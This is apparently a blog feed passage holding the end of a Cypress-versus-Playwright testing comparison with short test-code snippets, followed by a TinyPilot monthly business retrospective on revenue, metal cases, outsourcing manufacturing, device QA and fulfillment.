&lt;p>Playwright offers &lt;a href="https://marketplace.visualstudio.com/items?itemName=ms-playwright.playwright">an official VS Code plugin&lt;/a>, which gives you context-aware auto-complete. It&amp;rsquo;s something I never realized I&amp;rsquo;d been missing from Cypress until I saw it in Playwright:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/notes/cypress-vs-playwright/playwright-auto-complete.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/notes/cypress-vs-playwright/playwright-auto-complete_hu_d67c29b44fc6c149.png 300w, https://mtlynch.io/notes/cypress-vs-playwright/playwright-auto-complete_hu_95c95cbf3652c150.png 600w, https://mtlynch.io/notes/cypress-vs-playwright/playwright-auto-complete_hu_24f70f09b65aa840.png 800w, https://mtlynch.io/notes/cypress-vs-playwright/playwright-auto-complete.png 992w'
 src="https://mtlynch.io/notes/cypress-vs-playwright/playwright-auto-complete.png" alt="Autocomplete options in VS Code for Playwright APIs" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Playwright&amp;rsquo;s VS Code plugin offers context-aware auto-complete.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>In Cypress, there are a small number of functions, and you exercise different functionality by passing special string values. It&amp;rsquo;s hard for IDEs to help with those semantics, but Playwright&amp;rsquo;s list of explicit TypeScript functions make it easier for the IDE to help you out. There are third-party VS Code plugins for Cypress but nothing the Cypress team officially supports.&lt;/p>
&lt;h3 id="parallel-tests-are-free-in-playwright">Parallel tests are free in Playwright&lt;/h3>
&lt;p>In theory, you can run parallel tests for free in Cypress, but they deliberately make it inconvenient. I can&amp;rsquo;t blame them, as parallel tests are one of the flagship features in Cypress&amp;rsquo; paid SaaS tool, so they lose money by making the free version more useful.&lt;/p>
&lt;p>Microsoft has vastly deeper pockets than Cypress, so they can afford to give away all of Playwright&amp;rsquo;s features for free. As such, Playwright supports parallel tests out of the box.&lt;/p>
&lt;h2 id="what-i-miss-about-cypress">What I miss about Cypress&lt;/h2>
&lt;h3 id="cypress-syntax-is-more-consistently-fluent">Cypress&amp;rsquo; syntax is more consistently fluent&lt;/h3>
&lt;p>Both Cypress and Playwright offer &lt;a href="https://en.wikipedia.org/wiki/Fluent_interface">fluent-style APIs&lt;/a>, where you chain together a series of actions into a single statement.&lt;/p>
&lt;p>Cypress more strictly adheres to the fluent style, allowing the developer to read testing logic left to right.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>cy.get(&lt;span style="color:#ed9d13">&amp;#34;.navbar-item [data-test-id=&amp;#39;log-in&amp;#39;]&amp;#34;&lt;/span>).should(&lt;span style="color:#ed9d13">&amp;#34;be.visible&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>With Cypress, the order I write the code matches the order I think about the test. First, I grab a reference to the element. Then, I think about what assertions I want to make.&lt;/p>
&lt;p>In Playwright, the ordering is a little muddled. Before I start locating the element I want to test, I have to wrap the code in an &lt;code>expect&lt;/code> call:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">await&lt;/span> expect(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> page.locator(&lt;span style="color:#ed9d13">&amp;#34;.navbar-item [data-test-id=&amp;#39;log-in&amp;#39;]&amp;#34;&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>).toBeVisible();
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Playwright&amp;rsquo;s syntax interrupts the left-to-right ordering I&amp;rsquo;m used to from Cypress. I wish Playwright&amp;rsquo;s syntax looked more like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// INVALID - not how Playwright actually behaves
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">await&lt;/span> page
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .locator(&lt;span style="color:#ed9d13">&amp;#34;.navbar-item [data-test-id=&amp;#39;log-in&amp;#39;]&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .expect()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .toBeVisible();
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="cypress-has-a-small-independent-team">Cypress has a small, independent team&lt;/h3>
&lt;p>I have a personal appreciation for Cypress as an open-source company, and in particular, Gleb Bahmutov, their VP of Engineering. Gleb publishes high-quality &lt;a href="https://glebbahmutov.com/blog/">blog posts&lt;/a>, and he&amp;rsquo;s an excellent conference speaker.&lt;/p>
&lt;p>When I wrote &lt;a href="https://mtlynch.io/painless-web-app-testing/">a blog post about Cypress&lt;/a>, Gleb was gracious in sharing feedback to improve the post. After I published it, Cypress promoted my article on &lt;a href="https://www.cypress.io/blog/run-cypress-with-a-single-docker-command">their blog&lt;/a>.&lt;/p>
&lt;p>Microsoft, on the other hand, has historically has been hostile to open-source. They&amp;rsquo;re in a period of friendliness now, but if the winds change, and they realize they can make more money by crushing open-source, they probably will.&lt;/p>
&lt;p>If this were a movie, Cypress would be the scrappy underdog you can&amp;rsquo;t help but root for, and Microsoft would be the reformed villain who&amp;rsquo;s probably going to betray the hero in the third act.&lt;/p>
&lt;h3 id="cypress-test-artifacts-work-in-ci">Cypress test artifacts work in CI&lt;/h3>
&lt;p>When a Cypress test fails, it screenshots your app at the point of failure and saves the image to disk. It&amp;rsquo;s easy to configure your CI platform to keep these images as test artifacts for easy debugging. Similarly, Cypress lets you save videos of each of your tests that you can also publish as CI test artifacts.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/notes/cypress-vs-playwright/circleci-resources.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/notes/cypress-vs-playwright/circleci-resources_hu_6d0b48005ff2cfd8.png 300w, https://mtlynch.io/notes/cypress-vs-playwright/circleci-resources_hu_a60d925ad8a53f53.png 600w, https://mtlynch.io/notes/cypress-vs-playwright/circleci-resources.png 675w'
 src="https://mtlynch.io/notes/cypress-vs-playwright/circleci-resources.png" alt="Screenshot of Cypress video files in CircleCI dashboard&amp;#39;s artifacts tab" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Cypress produces test artifacts that are easy to view as CI artifacts&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Playwright produces a more complicated set of test artifacts. Instead of simple images and videos, Playwright generates a static web app for viewing all the test artifacts.&lt;/p>
&lt;p>Unfortunately, Playwright&amp;rsquo;s report viewer &lt;a href="https://github.com/microsoft/playwright/issues/18108">doesn&amp;rsquo;t work on CircleCI&lt;/a>, so I have to download assets and run a Playwright server locally instead of just viewing them from my CircleCI dashboard.&lt;/p>
&lt;h3 id="cypress-docker-image-actually-contains-the-software">Cypress&amp;rsquo; Docker image actually contains the software&lt;/h3>
&lt;p>In a pattern I&amp;rsquo;ve only ever seen in end-to-end testing tools, the official Docker images for Cypress and Playwright don&amp;rsquo;t actually contain the tools themselves. That is, the Cypress Docker image does not contain Cypress, and the Playwright Docker image doesn&amp;rsquo;t contain Playwright.&lt;/p>
&lt;p>Instead, the Docker images contain the &lt;em>dependencies&lt;/em> you need to install Cypress or Playwright, respectively. So when you&amp;rsquo;re running the Playwright Docker image, you still have to install Playwright as part of your environment setup.&lt;/p>
&lt;p>There must be some good reason for this, but I&amp;rsquo;ve never understood it. When I &lt;a href="https://mtlynch.io/painless-web-app-testing/#further-reading">complained about this to the Cypress team&lt;/a>, they added a special &lt;a href="https://hub.docker.com/r/cypress/included">cypress/included&lt;/a> image that contains the Cypress tool itself. There doesn&amp;rsquo;t seem to be an equivalent Docker image for Playwright.&lt;/p>
&lt;h2 id="summary">Summary&lt;/h2>
&lt;p>Even though I&amp;rsquo;m only a few hours into using Playwright, I found it to be a substantially better experience than Cypress. Between the clearer APIs, simpler testing setup, and speed, I&amp;rsquo;m likely 50-100% more productive in Playwright than I was in Cypress.&lt;/p>
&lt;p>Going forward, I&amp;rsquo;ll be testing all of my new apps with Playwright. I&amp;rsquo;ll likely even port some of my old Cypress tests to Playwright for apps &lt;a href="https://github.com/mtlynch/whatgotdone">where my tests have crept above the five-minute mark&lt;/a>.&lt;/p>
&lt;p>If you&amp;rsquo;re a Cypress user, I strongly suggest giving Playwright a look. To me, the jump from Cypress to Playwright is as substantial as from Selenium to Cypress.&lt;/p></content:encoded></item><item><title>TinyPilot: Month 27</title><link>https://mtlynch.io/retrospectives/2022/10/</link><pubDate>Mon, 17 Oct 2022 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2022/10/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $60-80k/month in revenue and employs six other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and in my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;m doing a thought exercise about whether TinyPilot could function without a physical office.&lt;/li>
&lt;li>Thinking about outsourcing forces me to recognize inefficiencies in our current workflows.&lt;/li>
&lt;li>The &lt;a href="https://playwright.dev">Playwright&lt;/a> end-to-end testing tool has won me over.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $60-80k/month in revenue and employs six other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and in my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;m doing a thought exercise about whether TinyPilot could function without a physical office.&lt;/li>
&lt;li>Thinking about outsourcing forces me to recognize inefficiencies in our current workflows.&lt;/li>
&lt;li>The &lt;a href="https://playwright.dev">Playwright&lt;/a> end-to-end testing tool has won me over.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="migrate-tinypilot-pro-to-the-next-generation-update-system">Migrate TinyPilot Pro to the next-generation update system&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published TinyPilot Pro 2.5.0, which includes the new update system.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>The big change in this release is in how updates work. TinyPilot used to query a git server for updates and always attempted to update to the latest version. Now, we have a custom web service that TinyPilot &lt;a href="https://github.com/tiny-pilot/tinypilot/blob/bf3c39302ecf643f288ec0e5da50c49e61a61944/bundler/README.md">queries for the next version&lt;/a>. The new update system gives us more control over the update process and makes it easier for us to test new versions.&lt;/p>
&lt;p>This release took five months, longer than any of us expected. Our usual release cadence is around two months. I expect the new version to help us iterate and test more quickly in the future.&lt;/p>
&lt;h3 id="send-tinypilot-voyager-to-two-youtube-creators-or-bloggers-for-review">Send TinyPilot Voyager to two YouTube creators or bloggers for review&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Canceled this goal in favor of hiring again.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: N/A&lt;/li>
&lt;/ul>
&lt;p>I ended up letting a support engineer go, so I instead focused on hiring his replacement. This was successful, and I hired a new engineer at the beginning of October.&lt;/p>
&lt;h3 id="explore-new-case-manufacturing-options">Explore new case manufacturing options&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Ordered a prototype metal case.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>This is a vague goal, as I&amp;rsquo;m still exploring options at this point. In the past, I&amp;rsquo;d &lt;a href="https://mtlynch.io/retrospectives/2021/02/#scaling-manufacturing">explored injection-molded cases&lt;/a>, which have a low per-unit cost but require an expensive upfront price. I&amp;rsquo;m now exploring metal cases, which don&amp;rsquo;t require as much upfront cost and scale up efficiently.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>August 2022&lt;/th>
 &lt;th>September 2022&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>11,903&lt;/td>
 &lt;td>9,040&lt;/td>
 &lt;td>&lt;font color="red">-2,863 (-24%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>23,214&lt;/td>
 &lt;td>17,608&lt;/td>
 &lt;td>&lt;font color="red">-5,606 (-24%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$76,082.06&lt;/td>
 &lt;td>$68,640.50&lt;/td>
 &lt;td>&lt;font color="red">-$7,441.56 (-10%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>$242.95&lt;/td>
 &lt;td>&lt;font color="red">-$47.75 (-16%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>$3,264.23&lt;/td>
 &lt;td>$3,440.90&lt;/td>
 &lt;td>&lt;font color="green">+$176.67 (+5%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$79,636.99&lt;/td>
 &lt;td>$72,324.35&lt;/td>
 &lt;td>&lt;font color="red">-$7,312.64 (-9%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$21,580.82&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$8,764.28&lt;/font>&lt;/strong>*&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$30,345.10 (-inf%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>* This profit figure is just a naive calculation of my change in cash holdings until I do real bookkeeping mid-month.&lt;/p>
&lt;p>The numbers are all scary red, but I think it was actually a strong month. I&amp;rsquo;m thrilled to see another month where we exceed $70k in revenue.&lt;/p>
&lt;p>Profit is down because I had a surprise bill for $11k in raw materials dating back six months. Still, I&amp;rsquo;m a bit surprised that I finished so far in the red. I suspect that it&amp;rsquo;s mainly a function of how invoices were timed, and it will average out positively over the next few months.&lt;/p>
&lt;h2 id="what-do-metal-cases-mean-for-tinypilot">What do metal cases mean for TinyPilot?&lt;/h2>
&lt;p>One of our remaining bottlenecks for production is our cases. We 3D-print our cases, and we use a premium material that&amp;rsquo;s slow to print, so we&amp;rsquo;re limited to manufacturing about 160 cases per month. We&amp;rsquo;re also limited to one particular 3D printing vendor because we rely on a Massachusetts state grant that&amp;rsquo;s only available through this vendor.&lt;/p>
&lt;p>We&amp;rsquo;ve been selling 200+ devices per month, so the cases will soon become the limiting factor. We can keep shipping at our current rates for a few more months because we stockpiled cases when we were selling below our manufacturing capacity.&lt;/p>
&lt;p>Our hardware partner suggested metal cases, similar to what you&amp;rsquo;d find on consumer networking hardware:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/10/tp-link-switch.png">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/10/tp-link-switch_hu_524f36e68e22cbd2.png 300w, https://mtlynch.io/retrospectives/2022/10/tp-link-switch_hu_9535c9da55113ab2.png 600w, https://mtlynch.io/retrospectives/2022/10/tp-link-switch.png 684w'
 src="https://mtlynch.io/retrospectives/2022/10/tp-link-switch.png" alt="Photo of metal TP-Link TL-SG1005P 5-port switch" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>What if we switched TinyPilot to use a metal case like this?&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>A metal case would reduce costs and eliminate the 160/month production constraint, as we could manufacture thousands each month.&lt;/p>
&lt;p>Our hardware partner also offhandedly mentioned something that got me thinking: if we manufactured the cases in China, we could also assemble the devices in China.&lt;/p>
&lt;p>At first, assembling in China didn&amp;rsquo;t appeal to me. We have an assembly process in Massachusetts that works, so why mess with it?&lt;/p>
&lt;p>Assuming that each device costs $10 to assemble in the US, maybe a Chinese vendor can do it for $1-2. A $9/unit savings doesn&amp;rsquo;t justify all the risks associated with changing a process that works smoothly.&lt;/p>
&lt;p>But then thinking about manufacturing in China got me wondering about how that would change TinyPilot&amp;rsquo;s office. Our shelves wouldn&amp;rsquo;t be stocked with hundreds of cases, USB cables, and tiny rubber feet because those would all live at the manufacturer. And if our raw materials lived at the manufacturer, the manufacturer could also track inventory and reorder supplies to keep up with production.&lt;/p>
&lt;p>Then, I began to ask myself whether we need a TinyPilot office at all.&lt;/p>
&lt;h2 id="what-happens-in-the-tinypilot-office">What happens in the TinyPilot office?&lt;/h2>
&lt;p>Today, we use the TinyPilot office for six main functions:&lt;/p>
&lt;ol>
&lt;li>Storing inventory&lt;/li>
&lt;li>Assembling devices&lt;/li>
&lt;li>Flashing microSDs&lt;/li>
&lt;li>Testing assembled devices (quality assurance)&lt;/li>
&lt;li>Packing and shipping customer orders&lt;/li>
&lt;li>Processing returned orders&lt;/li>
&lt;/ol>
&lt;p>Can TinyPilot still perform these functions without its own office? Let&amp;rsquo;s find out!&lt;/p>
&lt;h2 id="storing-inventory-and-assembling-devices">Storing inventory and assembling devices&lt;/h2>
&lt;p>If we move manufacturing to China, then inventory management also effectively moves to China.&lt;/p>
&lt;p>If it works well, outsourcing inventory and manufacturing would simplify a lot of TinyPilot&amp;rsquo;s workflows. On the other hand, when there are problems, they&amp;rsquo;re significantly worse when the manufacturer is thousands of miles away.&lt;/p>
&lt;p>If an overseas manufacturer takes over manufacturing devices, a lot of our work in the TinyPilot office suddenly disappears. Most of the storage space in our office would become free because we only need to store finished products. Our inventory tracking becomes much simpler because we&amp;rsquo;re only tracking finished products, not raw materials or partially-assembled components. We could finally cancel our subscription to our inventory tracking tool, the most frustrating and low-quality piece of software in our stack.&lt;/p>
&lt;p>Importing goods should take less time. Most of our raw materials come from China, so if we receive them all at once as finished products, that&amp;rsquo;s much easier to manage than handling them piecemeal when they come as raw materials.&lt;/p>
&lt;p>I often get trapped in the critical path of imports because DHL prefers to call the number on the package instead of emailing our support mailbox. We don&amp;rsquo;t have an office phone number, so they end up just calling my cell phone. If we get down to a couple of deliveries per month, it should be few enough that TinyPilot&amp;rsquo;s staff can proactively track them and pay import duties before they try to call us. And if we combine outsourced manufacturing with a 3PL vendor, we can be out of the loop entirely because the manufacturer can ship directly to a third-party fulfillment center.&lt;/p>
&lt;p>The downside is that it requires us to place a lot of trust in our manufacturer. With the chip shortage, we have to stockpile electronic components for months or years of production. If our manufacturer loses a year&amp;rsquo;s supply of one component, that places us in a terrible position. We can request periodic stock counts and send in third-party auditors, but I&amp;rsquo;m not sure what recourse I have if the manufacturer just says, &amp;ldquo;Whoops, we lost $20k of your inventory.&amp;rdquo;&lt;/p>
&lt;p>TinyPilot&amp;rsquo;s products go through many small adjustments as we upgrade components or discover issues in the design. With in-house manufacturing, we discover quickly when pieces don&amp;rsquo;t fit together quite right or when there&amp;rsquo;s too much stress on a component. With an overseas manufacturer, there&amp;rsquo;s a slower feedback cycle. By the time we discover an issue, the manufacturer might have already produced several hundred with the same flaw.&lt;/p>
&lt;h2 id="flashing-microsds">Flashing microSDs&lt;/h2>
&lt;p>Each TinyPilot requires a microSD that we flash with TinyPilot software. I currently have high confidence that nobody has tampered with the microSDs because they never leave our possession after we flash them. The only person who can tamper with the microSDs between us and the customer is the courier, and if the USPS wanted to be evil, they probably have more interesting targets than TinyPilot.&lt;/p>
&lt;p>I&amp;rsquo;m not sure how to outsource the process of flashing microSDs. We use custom, branded microSDs, and the company that makes them is perfectly happy to flash software onto them. I&amp;rsquo;m reluctant to do that, as I feel like there&amp;rsquo;s too high a risk of malware. In theory, I could randomly spot-check their output to make sure it matches the disk image I gave them, but even that wouldn&amp;rsquo;t give me complete confidence.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/10/tinypilot-microsds.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/10/tinypilot-microsds_hu_900f4b364d17d569.jpg 300w, https://mtlynch.io/retrospectives/2022/10/tinypilot-microsds_hu_8f453e0ad89f80e.jpg 600w, https://mtlynch.io/retrospectives/2022/10/tinypilot-microsds_hu_a91917652ba51465.jpg 800w, https://mtlynch.io/retrospectives/2022/10/tinypilot-microsds_hu_f2c3ad96a22a3e17.jpg 1200w, https://mtlynch.io/retrospectives/2022/10/tinypilot-microsds.jpg 3024w'
 src="https://mtlynch.io/retrospectives/2022/10/tinypilot-microsds.jpg" alt="Photo of TinyPilot branded microSDs" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>We currently use a vendor that can flash images onto microSDs for us, but I have reservations.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>We could potentially keep flashing microSDs ourselves and send them to the manufacturer. That assumes the manufacturer is honest, but it&amp;rsquo;s probably the same risk every company is taking by having computer products manufactured overseas.&lt;/p>
&lt;h2 id="testing-assembled-devices">Testing assembled devices&lt;/h2>
&lt;p>After we build devices, we currently test them by hand to make sure that all the functionality works.&lt;/p>
&lt;p>Our current test setup is slow, complicated, and would be difficult to hand over to a manufacturer. It requires a TinyPilot employee to plug the newly built TinyPilot into a target computer, then use the web browser from a second computer to visit the TinyPilot web interface. The employee then has to wait for the TinyPilot to boot up, and then they verify that the TinyPilot is capturing the target computer&amp;rsquo;s display and accurately forwarding keyboard and mouse input.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/10/current-test-setup.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/10/current-test-setup_hu_8107bd50787a20e6.png 300w, https://mtlynch.io/retrospectives/2022/10/current-test-setup_hu_14fe7ed65bb3d132.png 600w, https://mtlynch.io/retrospectives/2022/10/current-test-setup_hu_7472e2759339f4cf.png 800w, https://mtlynch.io/retrospectives/2022/10/current-test-setup.png 1117w'
 src="https://mtlynch.io/retrospectives/2022/10/current-test-setup.png" alt="Hand-drawn sketch of our current test setup" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TinyPilot&amp;rsquo;s current QA process requires two laptops and nontrivial cable connections.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>It&amp;rsquo;s been on our list to automate this process, but automating it requires hardware engineering resources, and that&amp;rsquo;s currently our scarcest resource.&lt;/p>
&lt;p>Writing this out, I&amp;rsquo;m realizing we could solve this with commodity hardware and only software engineering resources. We should be able to make a TinyPilot testing machine with a Raspberry Pi.&lt;/p>
&lt;p>A Raspberry Pi has HDMI output and USB input. We can program a Raspberry Pi to act as a test runner, making sure the TinyPilot is capturing video from the Pi&amp;rsquo;s HDMI output. The Pi could verify that when it tells the TinyPilot to send a keystroke, the Pi receives the same keystroke through its USB input from the TinyPilot. This test would give us confidence that everything is connected and working correctly in the newly-built Voyager 2.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/10/proposed-test-setup.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/10/proposed-test-setup_hu_951d5c996712b32.png 300w, https://mtlynch.io/retrospectives/2022/10/proposed-test-setup_hu_eb6fa17bc0d540e5.png 600w, https://mtlynch.io/retrospectives/2022/10/proposed-test-setup_hu_cbf5e517df1f04a3.png 800w, https://mtlynch.io/retrospectives/2022/10/proposed-test-setup.png 808w'
 src="https://mtlynch.io/retrospectives/2022/10/proposed-test-setup.png" alt="Hand-drawn sketch of a potential simplified test setup" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>We could likely automate our Voyager 2 QA process by connecting it to a Raspberry Pi with some custom scripts.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>At that point, we&amp;rsquo;d just need an external indicator on the test device that declares whether the TinyPilot Voyager 2 passed verification. That should be a simple enough test setup that we could hand the Pi and network switch to the manufacturer and teach them how to do testing on their end.&lt;/p>
&lt;p>This is a good example of a task where thinking about how to outsource it creates benefits even if we end up not outsourcing it.&lt;/p>
&lt;h2 id="packing-and-shipping-customer-orders">Packing and shipping customer orders&lt;/h2>
&lt;p>Of all the parts of our workflow, order fulfillment is the one that would be easiest to outsource at this point.&lt;/p>
&lt;p>We always have a queue of ready-to-ship boxes, so we could hand those to a 3PL vendor instead of keeping them at our office.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/10/ready-to-ship.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/10/ready-to-ship_hu_11927643f564566e.jpg 300w, https://mtlynch.io/retrospectives/2022/10/ready-to-ship_hu_6f1b519f7e50ee5.jpg 600w, https://mtlynch.io/retrospectives/2022/10/ready-to-ship_hu_3b72d3c0051b7d1e.jpg 800w, https://mtlynch.io/retrospectives/2022/10/ready-to-ship_hu_93228ff49508c0e2.jpg 1200w, https://mtlynch.io/retrospectives/2022/10/ready-to-ship.jpg 1600w'
 src="https://mtlynch.io/retrospectives/2022/10/ready-to-ship.jpg" alt="Photo of Voyager 2 in cardboard shipping box" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>We keep pre-assembled Voyager 2 devices in ready-to-ship boxes at our office.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The benefit of outsourcing fulfillment is that our already flexible hours become more flexible. Currently, we staff the TinyPilot office six days per week for a few hours per day. If we have a 3PL vendor, nobody needs to be at the office on any particular day as long as we&amp;rsquo;re assembling enough devices to keep orders flowing.&lt;/p>
&lt;p>We&amp;rsquo;d free up physical space in our office, as boxes and packing materials eat up a lot of real estate in our small office.&lt;/p>
&lt;p>Another benefit is that customers will have more shipping options. We currently only offer USPS and DHL because there&amp;rsquo;s added complexity in coordinating with each courier. A 3PL provider will already have daily pickups from all the major providers, so it&amp;rsquo;s easy for them to support any major courier.&lt;/p>
&lt;p>Shipping speed might increase slightly, although this is less significant as TinyPilot already ships 90% of orders within one business day.&lt;/p>
&lt;p>The downside is that a 3PL vendor increases complexity. Right now, our customer service experience is excellent because when a customer emails us, they&amp;rsquo;re speaking directly to a knowledgeable TinyPilot employee. Chances are, the same employee assembled, packed, or shipped their particular device. They also have the power to check shipping status, cancel orders, and arrange returns.&lt;/p>
&lt;p>If there&amp;rsquo;s a problem with an order that a 3PL vendor fulfilled, a TinyPilot customer support rep will have to check with our point of contact at the 3PL vendor, who might have to check with someone else, etc.&lt;/p>
&lt;h2 id="processing-returns">Processing returns&lt;/h2>
&lt;p>I don&amp;rsquo;t know how we&amp;rsquo;d process returns without an office.&lt;/p>
&lt;p>I wouldn&amp;rsquo;t trust a 3PL vendor to refurbish a TinyPilot device, but I wouldn&amp;rsquo;t want them just destroying returns, either.&lt;/p>
&lt;p>Perhaps we could have a separate return address that&amp;rsquo;s just a PO box. Employees could pick up returns from the post office, refurbish them, and then ship them to the 3PL vendor to sell as a refurbished item.&lt;/p>
&lt;p>I haven&amp;rsquo;t talked to 3PL vendors yet, so it&amp;rsquo;s possible they have a better solution for this.&lt;/p>
